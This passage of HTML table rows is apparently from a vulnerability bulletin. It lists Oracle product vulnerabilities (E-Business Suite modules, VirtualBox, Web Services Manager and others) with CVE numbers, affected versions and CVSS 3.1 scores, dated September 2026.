&lt;td&gt;Vulnerability in the Oracle Sales product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales. While the vulnerability is in Oracle Sales, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Sales accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83129&quot; target=&quot;_blank&quot;&gt;CVE-2026-83129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales Offline&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sales Offline product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Offline. While the vulnerability is in Oracle Sales Offline, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Sales Offline accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83127&quot; target=&quot;_blank&quot;&gt;CVE-2026-83127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales Offline&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sales Offline product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Sales Offline. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Sales Offline accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83128&quot; target=&quot;_blank&quot;&gt;CVE-2026-83128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales Online&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online. Successful attacks of this vulnerability can result in takeover of Oracle Sales Online. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83124&quot; target=&quot;_blank&quot;&gt;CVE-2026-83124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales Online&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: OSO Other). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online. While the vulnerability is in Oracle Sales Online, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Sales Online accessible data as well as unauthorized update, insert or delete access to some of Oracle Sales Online accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83172&quot; target=&quot;_blank&quot;&gt;CVE-2026-83172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales Online&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Sales Online, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Sales Online accessible data as well as unauthorized update, insert or delete access to some of Oracle Sales Online accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83126&quot; target=&quot;_blank&quot;&gt;CVE-2026-83126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Site Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Site Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Site Hub. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Site Hub accessible data as well as unauthorized read access to a subset of Oracle Site Hub accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83130&quot; target=&quot;_blank&quot;&gt;CVE-2026-83130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sourcing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Sourcing product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sourcing. Successful attacks of this vulnerability can result in takeover of Oracle Sourcing. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83204&quot; target=&quot;_blank&quot;&gt;CVE-2026-83204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Spares Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Spares Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Spares Management. Successful attacks of this vulnerability can result in takeover of Oracle Spares Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83090&quot; target=&quot;_blank&quot;&gt;CVE-2026-83090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Spares Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Spares Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Spares Management. Successful attacks of this vulnerability can result in takeover of Oracle Spares Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83136&quot; target=&quot;_blank&quot;&gt;CVE-2026-83136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Spares Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Spares Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Spares Management. Successful attacks of this vulnerability can result in takeover of Oracle Spares Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83137&quot; target=&quot;_blank&quot;&gt;CVE-2026-83137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Spares Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Spares Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Spares Management. While the vulnerability is in Oracle Spares Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Spares Management. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83138&quot; target=&quot;_blank&quot;&gt;CVE-2026-83138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle US Federal Human Resources&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle US Federal Human Resources product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle US Federal Human Resources. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle US Federal Human Resources accessible data as well as unauthorized read access to a subset of Oracle US Federal Human Resources accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83484&quot; target=&quot;_blank&quot;&gt;CVE-2026-83484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle User Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle User Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.6-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle User Management. Successful attacks of this vulnerability can result in takeover of Oracle User Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83119&quot; target=&quot;_blank&quot;&gt;CVE-2026-83119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle User Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle User Management product of Oracle E-Business Suite (component: Proxy User Delegation). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle User Management. Successful attacks of this vulnerability can result in takeover of Oracle User Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83189&quot; target=&quot;_blank&quot;&gt;CVE-2026-83189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Utilities Network Management System&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Utilities Network Management System product of Oracle Utilities Applications (component: System Wide). Supported versions that are affected are 2.5.0.2.0-2.5.0.2.13, 2.6.0.1.0-2.6.0.12B, 2.6.0.2.0-2.6.0.2.10A and 25.12.0.0.0-25.12.0.0.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Utilities Network Management System. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Utilities Network Management System accessible data as well as unauthorized update, insert or delete access to some of Oracle Utilities Network Management System accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83343&quot; target=&quot;_blank&quot;&gt;CVE-2026-83343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Utilities Network Management System&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Utilities Network Management System product of Oracle Utilities Applications (component: System Wide). Supported versions that are affected are 2.4.0.1.0-2.4.0.1.33, 2.5.0.1.0-2.5.0.1.19, 2.5.0.2.0-2.5.0.2.13, 2.6.0.1.0-2.6.0.12B, 2.6.0.2.0-2.6.0.2.10A and 25.12.0.0.0-25.12.0.0.3. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Utilities Network Management System executes to compromise Oracle Utilities Network Management System. Successful attacks of this vulnerability can result in takeover of Oracle Utilities Network Management System. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83342&quot; target=&quot;_blank&quot;&gt;CVE-2026-83342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87273&quot; target=&quot;_blank&quot;&gt;CVE-2026-87273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: This vulnerability applies to Windows host only. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87268&quot; target=&quot;_blank&quot;&gt;CVE-2026-87268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: This vulnerability applies to Windows host only. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87269&quot; target=&quot;_blank&quot;&gt;CVE-2026-87269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: This vulnerability applies to Windows host only. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87270&quot; target=&quot;_blank&quot;&gt;CVE-2026-87270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: This vulnerability applies to Windows host only. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87271&quot; target=&quot;_blank&quot;&gt;CVE-2026-87271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87272&quot; target=&quot;_blank&quot;&gt;CVE-2026-87272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87276&quot; target=&quot;_blank&quot;&gt;CVE-2026-87276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via RDP to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87277&quot; target=&quot;_blank&quot;&gt;CVE-2026-87277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Web Applications Desktop Integrator&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: File download). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Web Applications Desktop Integrator. While the vulnerability is in Oracle Web Applications Desktop Integrator, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Web Applications Desktop Integrator accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83131&quot; target=&quot;_blank&quot;&gt;CVE-2026-83131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Web Services Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Agent). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Services Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Web Services Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Web Services Manager accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83265&quot; target=&quot;_blank&quot;&gt;CVE-2026-83265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Web Services Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Security). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle Web Services Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Web Services Manager accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Web Services Manager. CVSS 3.1 Base Score 7.4 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83334&quot; target=&quot;_blank&quot;&gt;CVE-2026-83334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Content&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle WebCenter Content executes to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83353&quot; target=&quot;_blank&quot;&gt;CVE-2026-83353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
